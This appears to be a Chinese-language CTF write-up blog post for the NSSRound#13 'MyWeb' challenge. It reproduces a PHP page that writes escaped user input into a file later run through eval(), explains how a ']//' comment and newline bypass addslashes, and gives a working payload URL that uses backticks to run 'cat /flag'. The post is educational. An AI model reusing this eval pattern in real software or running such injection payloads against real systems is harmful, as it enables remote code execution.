[NSSRound#13 Basic]MyWeb

[NSSRound#13 Basic]MyWeb

源码:

 <?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
} 

if ($_GET['mode'] == 'save') { ... } 这段代码处理保存数据的逻辑。它首先获取名为value的GET参数,并使用addslashes函数对其进行转义,这是一种简单的防御措施用于避免SQL注入。然后,它从/tmp/data.json加载已有的JSON数据,并通过str_replace函数将新的值添加到数据的末尾。最后,它使用file_put_contents将修改后的数据写回到/tmp/data.json。

例如,data,json的内容为:

[1,222]

然后将value值为666,执行代码后,data.json中的内容就变为:

[1,222,666]

value的值如果为]//,那么后面的代码就会被注释掉:

[1,222,]//]

所以我们可以利用这一点来进行RCE。

但是这里的value的值被addslashes() 函数进行了转义

addslashes() 函数是 PHP 中用于将字符串中的某些特殊字符进行转义的函数它的作用是在以下字符前面插入一个反斜杠\:

单引号(')
双引号(")
反斜杠(\)
NUL(NULL字符)

这样做的目的是为了在构建 SQL 查询语句或在处理特定的上下文中防止字符引起的问题,比如 SQL 注入攻击。

当用户输入的数据用于构建数据库查询时,特殊字符可能会干扰查询的语法,甚至使得攻击者能够执行恶意的 SQL 查询。通过使用 addslashes() 函数对用户输入进行转义处理,可以在一定程度上防止这类攻击。

所以我们得用反引号来执行命令。

payload:

http://node2.anna.nssctf.cn:28953/?mode=save&value=]//%0A;echo%20`cat%20/flag`;//

然后使mode=read就行了。

image-20230709140601631

posted @ 2023-07-09 14:07  Magic水瓶  阅读(112)  评论(0)    收藏  举报